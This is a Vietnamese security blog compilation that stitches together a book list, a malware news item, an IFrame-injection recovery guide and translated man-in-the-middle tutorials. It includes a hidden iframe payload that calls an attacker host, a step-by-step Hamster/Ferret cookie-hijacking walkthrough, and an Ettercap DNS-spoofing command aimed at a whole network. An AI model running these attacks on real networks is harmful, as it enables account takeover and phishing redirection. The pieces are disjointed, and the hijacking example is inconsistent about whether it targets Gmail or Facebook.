- Niels Ferguson, Bruce Schneier, Practical Cryptography: tôi có nhiều kỷ niệm đẹp với cuốn này ;-). Hầu hết các kết quả làm việc của tôi trong vài năm vừa rồi là nhờ vào việc đọc cuốn này. Tôi chép lại đây giới thiệu rất hay của một người bạn: "The best security books, you can read "inside out", taking any recommendation on what to do and looking for people to do the opposite to find flaws. "Firewalls and Internet Security" was like that. So was "Practical Unix Security", and so is TOASSA. This is that book for crypto. It's also the one book on crypto you should allow yourself to read until you start actually finding crypto flaws."
- Jonathan Katz, Yehuda Lindell, Introduction to Modern Cryptography: Principles and Protocols: đây là sách giáo khoa của lớp CS255. Lớp này là lớp Cryptography trên Coursera.
- Sẽ đọc: Adam Young, Moti Yung, Malicious Cryptography: Exposing Cryptovirology
Chú ý đây là những cuốn sách tập trung vào công việc hàng ngày và sở
thích của tôi -- nói cách khác, còn thiếu nhiều sách của các mảng công
việc khác. Dẫu vậy tôi nghĩ những cuốn sách này sẽ giúp bạn có được một
kiến thức nền tảng vững chắc để từ đó theo đuổi các nghề nghiệp khác
nhau trong ngành an toàn thông tin. Trong thời gian tới tôi sẽ cập nhật
thêm những cuốn sách mà tôi đang và sẽ đọc. Nếu bạn biết sách nào hay
thì hãy giới thiệu cho tôi.
Ngoài ra trong các sách mà tôi vừa liệt kê không có cuốn sách toán (và lý thuyết khoa học máy tính) nào cả. Tôi nghĩ bạn sẽ tự có câu trả lời cho câu hỏi "Có nên học toán hay không?" khi bắt đầu học mật mã. Về hai mảng này thì tôi rất thích lớp "Great Ideas in Theoretical Computer Science" của Scott Aaronson và cuốn "A Computational Introduction to Number Theory and Algebra" của Victor Shoup. Thích đến nỗi tôi phải viết đoạn này chỉ để nhắc đến chúng ;-). Tôi cũng đã từng dành ra nhiều tháng để đánh vật với Introduction to the Theory of Computation của Michael Sipser. Nhưng thôi, tôi không muốn giới thiệu sách toán nữa vì tôi rất dốt món này!
Ngoài ra trong các sách mà tôi vừa liệt kê không có cuốn sách toán (và lý thuyết khoa học máy tính) nào cả. Tôi nghĩ bạn sẽ tự có câu trả lời cho câu hỏi "Có nên học toán hay không?" khi bắt đầu học mật mã. Về hai mảng này thì tôi rất thích lớp "Great Ideas in Theoretical Computer Science" của Scott Aaronson và cuốn "A Computational Introduction to Number Theory and Algebra" của Victor Shoup. Thích đến nỗi tôi phải viết đoạn này chỉ để nhắc đến chúng ;-). Tôi cũng đã từng dành ra nhiều tháng để đánh vật với Introduction to the Theory of Computation của Michael Sipser. Nhưng thôi, tôi không muốn giới thiệu sách toán nữa vì tôi rất dốt món này!
5 Bắt đầu nói nhảm và hết
Cái mà tôi vừa "vẽ" ra là một con đường. Thú thật là tôi không biết đích đến của nó là gì -- tôi chỉ biết rằng hành trình mà tôi đã đi qua (và hi vọng là những chặng đường sắp tới) đã mang đến cho tôi rất nhiều niềm vui -- niềm vui của một con người đi khám phá thế giới, chinh phục những thử thách, để rồi chia sẻ những câu chuyện hay ho với tất cả mọi người.
Mỗi ngày tôi đều dành thời gian đọc sách, làm bài tập, viết mã hoặc chứng minh một cái gì đó. Không ai bắt tôi phải làm những chuyện đó. Có những thứ tôi học cũng không (hoặc chưa) có liên quan gì đến công việc. Tôi học chỉ vì tôi thích và tò mò. Tôi học vì tôi muốn hiểu thêm những thứ mà tôi cho là hay ho. Tôi học vì tôi muốn đi mãi, đi mãi, đi đến tận cùng những cái mà người ta viết trong sách, để xem ở đó có gì hay không.
Hôm rồi tôi đọc một mẩu chuyện về Richard Feynman, trong đó có đoạn kể về lúc Feynman bị bệnh gần đất xa trời, ông tâm sự rằng, "[I'm going to die but I'm not as sad as you think because] when you get as old as I am, you start to realize that you've told most of the good stuff you know to other people anyway". Đương nhiên những gì tôi biết làm sao mà "good" bằng những gì Feynman biết, nhưng dẫu sao thì tôi cũng sẽ học theo Feynman: có biết chuyện gì hay ho thì kể cho nhiều người khác cùng biết. Bài này là một chuyện như thế.
Đầu năm 2013, các chuyên gia bảo mật
cảnh báo về một mã độc có khả năng chạy đa nền tảng (hoạt động được cả
trên Android lẫn Windows) ẩn trong ứng dụng DroidCleaner trên kho Google
Play. DroidCleaner không phải ứng dụng phổ biến nên được đánh giá là
nguy cơ lây nhiễm không rộng.
Tuy nhiên, hệ thống giám sát virus của
Công ty An ninh mạng Bkav vừa phát hiện những sự lây lan đầu tiên của
virus này tại Việt Nam và cảnh báo việc kết nối điện thoại với máy tính
giờ đây không còn an toàn.
Trước tiên, mã độc ẩn trong các ứng dụng
như DroidCleaner hay SuperClean sẽ lây nhiễm vào smartphone chạy
Android. Sau khi thâm nhập vào điện thoại, nó có thể tự động gửi đi và
xóa tin nhắn SMS, kích hoạt Wi-Fi, tập hợp thông tin về thiết bị, mở
link tùy ý trên trình duyệt, đăng toàn bộ nội dung trong thẻ SD, SMS,
danh bạ, ảnh... lên máy chủ của kẻ phát tán sâu.
Đường đi của mã độc.
Không những thế, mã độc tiếp tục tải về phần mã lệnh có thể lây trên máy tính dưới dạng các file autorun và file thực thi khác. Chỉ chờ người sử dụng kết nối hai thiết bị với nhau,
virus sẽ xâm nhập từ smartphone sang máy tính chạy Windows nếu hệ thống
đó bật chế độ autorun, hoặc khi người sử dụng kích hoạt file trong quá
trình mở các thư mục. Tại đây, mã độc nhắm vào các phần mềm voice chat như Skype, Yahoo Messenger để ghi lại các đoạn hội thoại và gửi cho hacker.
Sự xuất hiện của virus này cho thấy ngay
cả những việc đơn giản như kết nối điện thoại của mình hoặc của bạn bè
vào máy tính để sạc pin hay chia sẻ dữ liệu giờ đây cũng trở nên nguy
hiểm. Các chuyên gia bảo mật khuyến cáo, để bảo vệ trước các nguy cơ,
người sử dụng cần cài phần mềm diệt virus trên cả hai nền tảng di động
và máy tính.
Trước đó, theo kết quả khảo sát do Bkav
thực hiện vào tháng 4/2013, thiệt hại do virus máy tính tại Việt Nam mỗi
năm lên đến gần 8 nghìn tỷ đồng.
Kỹ thuật tấn công theo kiểu IFrame Injection hiện vẫn đang là 1 dạng xâm nhập cơ bản và phổ biến nhất của mô hình Cross-Site Scripting – XSS. Bằng cách chèn vào các website động (ASP, PHP, CGI, JSP … ) những thẻ HTML hay những đoạn mã script nguy hiểm, trong đó những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML cơ bản. Nếu bạn phát hiện được có kẻ đang nhắm vào website của bạn bằng kỹ thuật này, không nên quá lo lắng. Sau đây là 1 số thao tác cần làm khi website lâm vào tình trạng này.
Ví dụ 1 đoãn mã độc hại thường được sử dụng để tấn công:
{xtypo_code}1. Thường xuyên bảo trì website trong 1 khoảng thời gian nhất định:
<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
nội dung của đoạn mã độc
{/xtypo_code}
Các chuyên gia bảo mật khuyến cáo những người quản trị nên gỡ bỏ toàn bộ website xuống để tránh trường hợp trở thành tâm điểm phát tán mã độc. Và trong toàn bộ quá trình khắc phục, tiếp tục giữ tình trạng offline của website.
2. Thay đổi lại tất cả các mật khẩu:
Thoạt nghe có vẻ đơn giản, những rất nhiều người quản trị hình như không mấy để ý đến khâu cực kỳ quan trọng này. Sau khi bị tin tặc nhòm ngó, bạn nên đổi mới tất cả mật khẩu bao gồm tài khoản ftp, ssh, các tài khoản quản trị, cơ sở dữ liệu …
3. Lưu lại 1 bản của website để phân tích:
Để xác định rõ nguyên nhân và điểm yếu nào đã bị tin tặc khai thác, bạn cần lưu giữ lại 1 bản nguyên tình trạng lúc bị tấn công. Điều này rất có ích cho việc phân tích và ngăn chặn hiểm họa sau này, bạn nên lưu lại website dưới dạng file nén định dạng rar, zip hoặc gzip và lưu trữ tại 1 nơi an toàn. Lưu ý rằng không bao giờ được lưu file cách ly này trực tiếp trên server.
4. Thay thế toàn bộ website bằng 1 bản sao lưu hoàn toàn sạch sẽ:
Không nên quá dựa vào những nhà cung cấp dịch vụ host rằng họ sẽ sao lưu toàn bộ dữ liệu cho bạn. Rất nhiều bộ phận hỗ trợ kỹ thuật thường xuyên khẳng định rằng họ có tiến hánh sao lưu tự động theo lịch trình, nhưng không gì có thể chắc chắn bằng việc bạn tự làm, hơn nữa 2 phương án dự phòng bao giờ cũng tốt hơn 1 phương án.
5. Kiểm tra lại website và đăng tải trở lại:
Quá trình này nên tiến hành chu đáo để đảm bảo rằng toàn bộ website an toàn và không còn lỗi nữa, sau đó bạn có thể đăng tải website trở lại như trước.
6. Tìm hiểu về nguồn gốc của các cuộc tấn công:
Để đảm bảo rằng những cuộc tấn công sẽ không bao giờ lặp lại, những người quản trị nên tiến hành 1 cuộc kiểm tra, phân tích đầy đủ và chi tiết của cuộc tấn công đó. Do lỗi ở đâu ? Lỗ hổng an ninh hay ứng dụng web ? Hoặc do chế độ phân quyền bị sai lệnh, nhầm lẫn ? Có thể website bị nhiêm virus trực tiếp ngay từ server lưu trữ dữ liệu ? Tất cả đều phải được tìm hiểu và phân tích kỹ lưỡng. Nếu cần thiết, hãy nhờ đến chuyên gia an ninh của các hãng bảo mật hàng đầu thế giới như Kaspersky, BitDefender, Norton, Panda, Avira …
7. Áp dụng các biện pháp bảo mật phù hợp:
Mặc dù bạn đã khôi phục thành công website, nhưng không có gì đảm bảo chắc chắn rằng website của bạn sẽ không bị tấn công thêm lần nào nữa. Nếu lỗ hổng an ninh cũ chưa được khắc phục, có thể website của bạn lại bị tê liệt ngay trong tối nay. Dựa vào các kết quả phân tích thu được ở bước trên, bạn nên áp dụng các biện pháp an ninh phù hợp, nâng cấp server, cài đặt thêm chương trình bảo mật, nâng cấp toàn bộ ứng dụng web hoặc tiến hành sử dụng quy luật bảo mật hoàn toàn mới.
Dựa vào kinh nghiệm quản lý và thông tin thu thập, chúng tôi có thể đóng góp thêm 1 số lời khuyên và dự đoán khách quan về nguyên nhân như sau.
Các nguyên nhân dễ gặp phải:
- Website sử dụng dịch vụ host giá rẻ
- Dựa trên nền tảng phiên bản cũ của các ứng dụng mã nguồn mở, ví dụ như WordPress 1.0… vốn có khá nhiều lỗ hổng
- Quyền truy cập dữ liệu trên server được thiết lập không theo thứ tự nhất định, ví dụ quyền thao tác với dữ liệu ở mức 777 – đọc, ghi và thực thi
- Các thiếu sót của phần mềm ứng dụng
- Sử dụng FTP thay vì SFTP
- Không hạn chế IP đối với các tài khoản SSH và FTP
Một số thao tác đơn giản nhưng hữu ích:
- Thay đổi mật khẩu định kỳ, ví dụ 2 tuần hoặc 4 tuần 1 lần
- Luôn cập nhật các phiên bản ổn định của ứng dụng
- Thường xuyên “dọn dẹp” các thư mục chứa dữ liệu trên server, để ý nếu có những file lạ đột nhiên xuất hiện
- Các mức phân quyền được thiết lập chuẩn xác
- Thường xuyên trao đổi với các đơn vị, chuyên gia cung cấp dịch vụ bảo mật để nhận được lời khuyên tốt nhất.
Theo ComputerUser
Trong hai phần đầu của loạt bài giới thiệu về các
tấn công man-in-the-middle này, chúng tôi đã giới thiệu cho các bạn về
tấn công giả mạo ARP cache, giả mạo DNS. Như những gì chúng tôi đã giới
thiệu trong các ví dụ đó, các tấn công MITM ra rất hiệu quả và rất khó
bị phát hiện. Tuy nhiên trong phần ba của loạt bài này, chúng tôi sẽ
giới thiệu thêm cho các bạn một cách tấn công mới, đó là tấn công chiếm
quyền điều khiển session. Cũng như trong hai phần trước, chúng tôi sẽ
giới thiệu một số lý thuyết và cách thức thực hiện tấn công cũng như
cách phát hiện và biện pháp phòng chống.
Chiếm quyền điều khiển Session
Thuật ngữ chiếm quyền điều khiển session (session
hijacking) chứa đựng một loạt các tấn công khác nhau. Nhìn chung, các
tấn công có liên quan đến sự khai thác session giữa các thiết bị đều
được coi là chiếm quyền điều khiển session. Khi đề cập đến một
session, chúng ta sẽ nói về kết nối giữa các thiết bị mà trong đó có
trạng thái đàm thoại được thiết lập khi kết nối chính thức được tạo,
kết nối này được duy trì và phải sử dụng một quá trình nào đó để ngắt
nó. Khi nói về các session, lý thuyết có đôi chút lộn xộn, chính vì
vậy chúng ta hãy xem xét một session theo một cảm nhận thực tế hơn.
Trong bài này chúng tôi sẽ giới thiệu cho các bạn về
hành động chiếm quyền điều khiển session có liên quan đến các session
HTTP. Nếu để ý một số website mà bạn truy cập có yêu cầu thông tin
đăng nhập thì chúng chính là các ví dụ tuyệt vời cho các kết nối hướng
session. Bạn phải được thẩm định bởi website bằng username và password
để thiết lập session, sau đó website sẽ duy trì một số hình thức kiểm
tra session để bảo đảm bạn vẫn được đăng nhập và được phép truy cập tài
nguyên (thường được thực hiện bằng một cookie), khi session kết thúc,
các chứng chỉ username và password sẽ được xóa bỏ và đó cũng là khi
session hết hiệu lực. Đây là một ví dụ cụ thể về session mà mặc dù
chúng ta không phải lúc nào cũng nhận ra nó, các session sẽ xuất hiện
liên tục và hầu hết sự truyền thông đều dựa vào một số hình thức của
session hoặc hành động dựa trên trạng thái.
Hình 1: Một Session bình thường
Như những gì chúng ta thấy trong các tấn công trước,
không có thứ gì khi đi qua mạng được an toàn, và dữ liệu session cũng
không có gì khác biệt. Nguyên lý ẩn phía sau hầu hết các hình thức chiếm
quyền điều khiển session là nếu có thể chặn phần nào đó dùng để thiết
lập một session, khi đó bạn có thể sử dụng dữ liệu đó để thủ vai một
trong số những thành phần có liên quan trong truyền thông và từ đó có
thể truy cập các thông tin session. Ví dụ trên của chúng tôi có nghĩa
rằng nếu chúng ta capture cookie được sử dụng để duy trì trạng thái
session giữa trình duyệt của bạn và website mà bạn đang đăng nhập vào,
thì chúng ta có thể trình cookie đó với máy chủ web và thủ vai kết nối
của bạn. Đứng trên quan điểm của những kẻ tấn công thì điều này quả là
thú vị.
Hình 2: Chiếm quyền điều khiển
Giờ đây chúng ta đã có một chút lý thuyết, hãy đi tìm hiểu sâu một ví dụ thực tế.
Đánh cắp Cookies bằng Hamster và Ferret
Trong kịch bản thực tiễn của mà chúng tôi đưa ra,
chúng ta sẽ thực hiện một tấn công chiếm quyền điều khiển session bằng
cách chặn sự truyền thông của một người dùng đang đăng nhập vào tài
khoản Gmail của anh ta. Sử dụng sự truyền thông bị chặn này, chúng ta
sẽ thủ vai người dùng đó và truy cập vào tài khoản từ máy tính đang
tấn công của mình.
Để thực hiện được tấn công này, chúng ta sẽ sử dụng
hai công cụ có tên Hamster và Ferret. Bạn có thể download cả hai công
cụ này tại đây.
Ngoài ra bạn có thể download và sử dụng Backtrack 4.
BT4 là một phân phối live-CD của Linux, được thiết kế chuyên cho việc
hack và test quá trình thâm nhập bởi các công cụ đã được biên dịch và
cài đặt trước, Hamster/Ferret là hai trong số đó. Bạn có thể download
BT4 tại đây.
Sau đó sẽ tìm Hamster trong thư mục /pentest/sniffers/hamster. Các
hình ảnh ví dụ được sử dụng trong phần dưới của hướng dẫn này được lấy
từ BT4.
Bước đầu tiên có liên quan đến trong hình thức chiếm
quyền điều khiển session này là capture lưu lượng của một người dùng là
nạn nhân khi anh ta duyệt Facebook. Lưu lượng này có thể được capture
bằng bất cứ ứng dụng “đánh hơi” dữ liệu nào, chẳng hạn như TCPDump
hoặc Wireshark, tuy nhiên để capture đúng các gói dữ liệu, bạn sẽ cần
sử dụng kỹ thuật như giả mạo ARP cache (đã được giới thiệu trong phần
đầu tiên của loạt bài này).
Hình 3: Capture lưu lượng người dùng đang duyệt Gmail
Khi đã capture lưu lượng của nạn nhân khi người này
đang duyệt đến Gmail, bạn cần lưu file đã capture vào thư mục Hamster.
Với mục đích ví dụ, chúng tôi đã đặt tên file là victim_gmail.pcap. Khi
file đó được đặt đúng chỗ, chúng ta sẽ sử dụng Ferret để xử lý file.
Điều này được thực hiện bằng cách duyệt đến thư mục Hamster và chạy
lệnh, ferret –r victim_gmail.pcap. Ferret sẽ xử lý file và tạo một file hamster.txt có thể được sử dụng bởi Hamster để chiếm quyền điều khiển một session.
Hình 4: Xử lý file capture bằng Ferret
Với dữ liệu HTTP đã chặn và đã chuẩn bị để sử dụng,
chúng ta có thể sử dụng Hamster để thực thi tấn công. Bản thân Hamster
sẽ làm việc như một proxy để cung cấp giao diện cho việc duyệt và sử
dụng các session cookie đánh cắp. Để bắt đầu Hamster proxy, bạn có thể
thực thi Hamster mà không cần các tùy chọn dòng lệnh.
Hình 5: Khởi chạy Hamster
Khi thực thi, bạn cần mở trình duyệt của mình và cấu
hình các thiết lập proxy của nó sao cho tương ứng với các thiết lập
được cung cấp bởi đầu ra Hamster. Mặc định, điều này có nghĩa bạn sẽ
cấu hình các thiết lập proxy của mình để sử dụng địa chỉ loopback nội
bộ 127.0.0.1 trên cổng 1234. Bạn có thể truy cập các thiết lập này
trong Internet Explorer bằng cách chọn Tools, Internet Options, Connections, LAN Settings, và tích vào hộp kiểm “Use a proxy server for your LAN”.
Hình 6: Cấu hình các thiết lập proxy để sử dụng với Hamster
Lúc này các thiết lập proxy sẽ được sử dụng và bạn
có thể truy cập giao diện điều khiển Hamster trong trình duyệt của mình
bằng cách duyệt đến http://hamster. Hamster sẽ sử dụng file được tạo
bởi Ferret để tạo danh sách các địa chỉ IP cho người mà thông tin
session của họ bị chặn và hiển thị các địa chỉ IP đó ở panel bên phải
trình duyệt. File mà chúng ta tạo chỉ chứa một địa chỉ IP của nạn
nhân, vì vậy nếu kích vào panel bên trái, chúng ta sẽ populate (định cư) các session cho việc chiếm quyền.
Hình 7: Hamster GUI
Chúng ta sẽ thấy facebook.com được liệt kê ở đây,
nếu kích vào liên kết đó, bạn sẽ thấy một cửa sổ mới đã đăng nhập vào
tài khoản Facebook nạn nhân!
Hình 8: Chiếm quyền điều khiển thành công một tài khoản Gmail
Cách chống tấn công chiếm quyền điều khiển Session
Do có nhiều hình thức chiếm quyền điều khiển session
khác nhau nên cách thức phòng chống cũng cần thay đổi theo chúng.
Giống như các tấn công MITM khác mà chúng ta đã đánh giá, tấn công
chiếm quyền điều khiển session khó phát hiện và thậm chí còn khó khăn
hơn trong việc phòng chống vì nó phần lớn là tấn công thụ động. Trừ khi
người dùng mã độc thực hiện một số hành động rõ ràng khi anh ta truy
cập session đang bị chiếm quyền điều khiển, bằng không bạn có thể sẽ
không bao giờ biết tấn công đó đang diễn ra. Đây là một số thứ mà bạn
có thể thực hiện để phòng chống tấn công này:
- Tuy cập ngân hàng trực tuyến tại nhà – Cơ hội để ai đó có thể chặn lưu lượng của bạn trên mạng gia đình ít hơn nhiều so với mạng ở nơi làm việc. Điều này không phải vì máy tính ở nhà của bạn thường an toàn hơn, mà vấn đề là bạn chỉ có một hoặc hai máy tính tại nhà, hầu hết chỉ phải lo lắng về tấn công chiếm quyền điều khiển session nếu con bạn đã hơn 14 tuổi và đã bắt đầu xem các đoạn video hacking trên YouTube rồi từ đó học và làm theo. Trên mạng công ty, bạn không biết những gì đang diễn ra bên dưới tiền sảnh hoặc trong văn phòng chi nhánh cách đó 200 dặm, vì vậy nguồn tấn công tiềm ẩn là rất nhiều. Cần biết rằng một trong những mục tiêu lớn nhất của tấn công chiếm quyền điều khiển session là tài khoản ngân hàng trực tuyến, tuy nhiên ngoài ra nó còn được áp dụng cho mọi thứ.
- Cần có sự hiểu biết về tấn công – Những kẻ tấn công tinh vi, kể cả đến các hacker dày dạn nhất cũng vẫn có thể mắc lỗi và để lại dấu vết đã tấn công bạn. Việc biết thời điểm nào bạn bị đăng nhập vào các dịch vụ dựa trên session có thể giúp bạn xác định được rằng liệu có ai đó đang rình rập mình hay không. Do đó nhiệm vụ của bạn là cần phải canh trừng mọi thứ, quan tâm đến thời gian đăng nhập gần nhất để bảo đảm mọi thứ vẫn diễn ra tốt đẹp.
- Bảo mật tốt cho các máy tính bên trong – Các tấn công này thường được thực thi từ bên trong mạng. Do đó nếu các thiết bị mạng của bạn an toàn thì cơ hội cho kẻ tấn công thỏa hiệp được các host bên trong mạng của bạn sẽ ít đi, và từ đó giảm được nguy cơ tấn công chiếm quyền điều khiển session.
Kết luận
Cho đến đây chúng tôi đã giới thiệu cho các bạn ba
kiểu tấn công MITM rất nguy hiểm có thể gây ra những hậu quả nghiêm
trọng nếu chúng được thực hiện thành công. Các bạn cần phải biết rằng,
sử dụng kiểu tấn công chiếm quyền điều khiển session, kẻ tấn công với
những ý định xấu có thể truy cập vào tài khoản ngân hàng trực tuyến,
email của người dùng hoặc thậm chí cả các ứng dụng nhậy cảm trong mạng
nội bộ. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ giới thiệu
cho các bạn một tấn công MITM nguy hiểm khác, giả mạo SSL.
Theo Windowsecurity
Trong phần đầu của loạt bài này, chúng tôi đã giới
thiệu cho các bạn về truyền thông ARP và ARP cache của một thiết bị có
thể bị giả mạo như thế nào để redirect lưu lượng mạng của các
máy tính qua một máy khác với ý mục đích xấu. Trong bài này, chúng tôi
giới thiệu cho các bạn về một kiểu tấn công MITM khác, giả mạo DNS (DNS
Spoofing). Nếu chưa đọc phần giả mạo ARP Cache, các bạn nên quay lại và đọc qua nó trước vì bài viết này sẽ sử dụng một số kỹ thuật mà chúng tôi đã giới thiệu trong bài đó.
Giả mạo DNS
Giả mạo DNS là một kỹ thuật MITM được sử dụng nhằm
cung cấp thông tin DNS sai cho một host để khi người dùng duyệt đến một
địa chỉ nào đó, ví dụ, www.bankofamerica.com có IP XXX.XX.XX.XX, thì cố gắng này sẽ được gửi đến một địa chỉ www.bankofamerica.com
giả mạo cư trú ở địa chỉ IP YYY.YY.YY.YY, đây là địa chỉ mà kẻ tấn công
đã tạo trước để đánh cắp các thông tin tài khoản ngân hàng trực tuyến
từ người dùng. Tấn công này có thể thực hiện khá dễ dàng và trong bài
này chúng ta sẽ đi nghiên cứu cách làm việc của nó, cách nó thực hiện
tấn công thế nào và cuối cùng là cách chống trả ra sao.
Truyền thông DNS
Giao thức Domain Naming System (DNS) như được định
nghĩa trong RFC 1034/1035 có thể được xem như là một trong những giao
thức quan trọng nhất được sử dụng trong Internet. Nói ngắn ngọn để dễ
hiểu, bất cứ khi nào bạn đánh một địa chỉ web chẳng hạn như http://www.google.com
vào trình duyệt, yêu cầu DNS sẽ được đưa đến máy chủ DNS để tìm ra địa
chỉ IP tương xứng với tên miền mà bạn vừa nhập. Các router và các thiết
bị kết nối Internet sẽ không hiểu google.com là gì, chúng chỉ hiểu các
địa chỉ chẳng hạn như 74.125.95.103.
Máy chủ DSN làm việc bằng cách lưu một cơ sở dữ liệu
các entry (được gọi là bản ghi tài nguyên) địa chỉ IP để bản đồ hóa tên
DNS, truyền thông các bản ghi tài nguyên đó đến máy khách và đến máy chủ
DNS khác. Kiến trúc máy chủ DNS trong toàn doanh nghiệp và Internet là
một thứ khá phức tạp. Như một vấn đề của thực tế, bạn có thể hình dung
chúng như các quyển sổ chuyên dụng cho kiến trúc DNS. Chúng tôi sẽ không
đi vào giới thiệu các khía cạnh về kiến trúc hay thậm chí các kiểu lưu
lượng DNS khác nhau, mà chỉ giới thiệu một phiên giao dịch DNS cơ bản,
bạn có thể thấy điều đó trong hình 1.
Hình 1: Truy vấn và đáp trả DNS
DNS hoạt động theo hình thức truy vấn và đáp trả
(query/response). Một máy khách cần phân giải DNS cho một địa chỉ IP nào
đó sẽ gửi đi một truy vấn đến máy chủ DNS, máy chủ DNS này sẽ gửi thông
tin được yêu cầu trong gói đáp trả của nó. Đứng trên phối cảnh máy
khách, chỉ có hai gói xuất hiện lúc này là truy vấn và đáp trả.
Hình 2: Các gói truy vấn và đáp trả DNS
Kịch bản này sẽ có đôi chút phức tạp khi xem xét đến
sự hồi quy DNS. Nhờ có cấu trúc thứ bậc DNS của Internet, các máy chủ
DNS cần có khả năng truyền thông với nhau để đưa ra câu trả lời cho các
truy vấn được đệ trình bởi máy khách. Nếu tất cả đều diễn ra thuận lợi
như mong đợi, máy chủ DNS bên trong của chúng ta sẽ biết tên để bản đồ
hóa địa chỉ IP cho máy chủ bên trong mạng nội bộ, tuy nhiên không thể
mong đợi nó biết địa chỉ tương quan giữa Google hoặc Dell. Đây là nơi sự
đệ quy đóng vai trò quan trọng. Sự đệ quy diễn ra khi một máy chủ DNS
truy vấn máy chủ DNS khác với tư cách máy khách tạo yêu cầu. Về bản
chất, cách thức này sẽ biến một máy chủ DNS thành một máy khách, xem
trong hình 3.
Hình 3: Truy vấn và đáp trả DNS bằng đệ quy
Giả mạo DNS

Hình 4: Tấn công giả mạo DNS bằng phương pháp giả mạo DNS ID

Hình 5: Bổ sung bản ghi DNS giả mạo vào etter.dns

Hình 6: Ettercap đang lắng nghe tích cực các truy vấn DNS

Hình 7: Kết quả cố gắng giả mạo DNS từ phối cảnh người dùng
Có nhiều cách để có thể thực hiện vấn đề giả mạo DNS. Chúng tôi sẽ sử dụng một kỹ thuật mang tên giả mạo DNS ID.
Mỗi truy vấn DNS được gửi qua mạng đều có chứa một số
nhận dạng duy nhất, mục đích của số nhận dạng này là để phân biệt các
truy vấn và đáp trả chúng. Điều này có nghĩa rằng nếu một máy tính đang
tấn công của chúng ta có thể chặn một truy vấn DNS nào đó được gửi đi từ
một thiết bị cụ thể, thì tất cả những gì chúng ta cần thực hiện là tạo
một gói giả mạo có chứa số nhận dạng đó để gói dữ liệu đó được chấp nhận
bởi mục tiêu.
Chúng ta sẽ hoàn tất quá trình này bằng cách thực
hiện hai bước với một công cụ đơn giản. Đầu tiên, chúng ta cần giả mạo
ARP cache thiết bị mục tiêu để định tuyến lại lưu lượng của nó qua host
đang tấn công của mình, từ đó có thể chặn yêu cầu DNS và gửi đi gói dữ
liệu giả mạo. Mục đích của kịch bản này là lừa người dùng trong mạng mục
tiêu truy cập vào website độc thay vì website mà họ đang cố gắng truy
cập. Để rõ hơn bạn có thể tham khảo thêm hình tấn công bên dưới.
Hình 4: Tấn công giả mạo DNS bằng phương pháp giả mạo DNS ID
Có một số công cụ khác có thể được sử dụng để thực
hiện hành động giả mạo DNS. Chúng tôi sẽ sử dụng một trong số đó là
Ettercap, đây là công cụ có thể sử dụng cho cả Windows và Linux. Bạn có
thể download Ettercap về máy của mình tại đây.
Nếu tìm hiểu thêm một chút về website này, chắc chắn bạn sẽ thấy rằng
Ettercap còn có nhiều chức năng tuyệt vời khác ngoài việc giả mạo DNS và
có thể được sử dụng để thực hiện nhiều kiểu tấn công MITM.
Nếu cài đặt Ettercap trên máy tính Windows, bạn sẽ
thấy nó có một giao diện đồ họa người dùng (GUI) khá tuyệt vời, tuy
nhiên trong ví dụ này, chúng tôi sẽ sử dụng giao diện dòng lệnh.
Trước khi thực thi Ettercap, yêu cần bạn cần phải
thực hiện một chút cấu hình. Ettercap ở mức lõi của nó là một bộ đánh
hơi (sniffer) dữ liệu, nó sử dụng plug-in để thực hiện các tấn công khác
nhau. Plug-in dns_spoof là những gì mà chúng ta sẽ thực hiện
trong ví dụ này, vì vậy chúng ta phải điều chỉnh file cấu hình có liên
quan với plug-in đó. Trên hệ thống Windows, file này có thể download tại
C:\Program Files (x86)\EttercapNG\share\etter.dns, và tại /usr/share/ettercap/etter.dns.
Đây là mộ file khá đơn giản và có chứa các bản ghi DNS mà bạn muốn giả
mạo. Với mục đích thử nghiệm, chúng ta muốn bất cứ người dùng nào đang
cố gắng truy cập vào yahoo.com đều bị hướng (direct) đến một host trên
mạng nội bộ, hãy thêm một entry được đánh dấu trong hình 5.
Hình 5: Bổ sung bản ghi DNS giả mạo vào etter.dns
Các entry này sẽ chỉ dẫn cho plug-in dns_spoof rằng khi thấy truy vấn DNS cho yahoo.com hoặc www.yahoo.com
(với một bản ghi tài nguyên kiểu A), nó sẽ sử dụng địa chỉ IP
172.16.16.100 để đáp trả. Trong kịch bản thực, thiết bị tại địa chỉ IP
172.16.16.100 sẽ chạy một phần mềm máy chủ web và hiển thị cho người
dùng website giả mạo.
Khi file này được cấu hình và lưu lại, chúng ta hoàn
toàn có thể thực thi chuỗi lệnh dùng để khởi chạy tấn công. Chuỗi lệnh
sử dụng các tùy chọn dưới đây:
- -T – Chỉ định sử dụng giao diện văn bản
- -q – Chạy các lệnh trong chế độ “yên lặng” để các gói dữ liệu đã được capture không hiển thị trên màn hình.
- -P dns_spoof – Chỉ định sử dụng plug-in dns_spoof
- -M arp – Khởi tạo tấn công MITM giả mạo ARP để chặn các gói dữ liệu giữa các host.
- // // - Chỉ định toàn bộ mạng là mục tiêu tấn công.
Chuỗi lệnh cuối cùng cho mục đích của chúng ta là:
Ettercap.exe –T –q –P dns_spoof –M arp // //
Khi chạy lệnh trên, bạn sẽ bắt đầu một tấn công hai
giai đoạn, đầu tiên là giả mạo ARP cache của thiết bị trên mạng, sau đó
là phát các đáp trả truy vấn DNS giả mạo.
Hình 6: Ettercap đang lắng nghe tích cực các truy vấn DNS
Khi khởi chạy, bất cứ ai đang cố gắng truy cập www.yahoo.com sẽ đều bị redirect đến website mã độc của chúng ta.
Hình 7: Kết quả cố gắng giả mạo DNS từ phối cảnh người dùng
Phòng chống giả mạo DNS
Khá khó phòng chống việc giả mạo DNS vì có khá ít các
dấu hiệu tấn công. Thông thường, bạn không hề biết DNS của mình bị giả
mạo cho tới khi điều đó xảy ra. Những gì bạn nhận được là một trang web
khác hoàn toàn so với những gì mong đợi. Trong các tấn công với chủ đích
lớn, rất có thể bạn sẽ không hề biết rằng mình đã bị lừa nhập các thông
tin quan trọng của mình vào một website giả mạo cho tới khi nhận được
cuộc gọi từ ngân hàng hỏi tại sao bạn lại rút nhiều tiền đến vậy. Mặc dù
khó nhưng không phải không có biện pháp nào có thể phòng chống các kiểu
tấn công này, đây là một sô thứ bạn cần thực hiện:
- Bảo vệ các máy tính bên trong của bạn: Các tấn công giống như trên thường được thực thi từ bên trong mạng của bạn. Nếu các thiết bị mạng của an toàn thì sẽ bạn sẽ giảm được khả năng các host bị thỏa hiệp và được sử dụng để khởi chạy tấn công giả mạo.
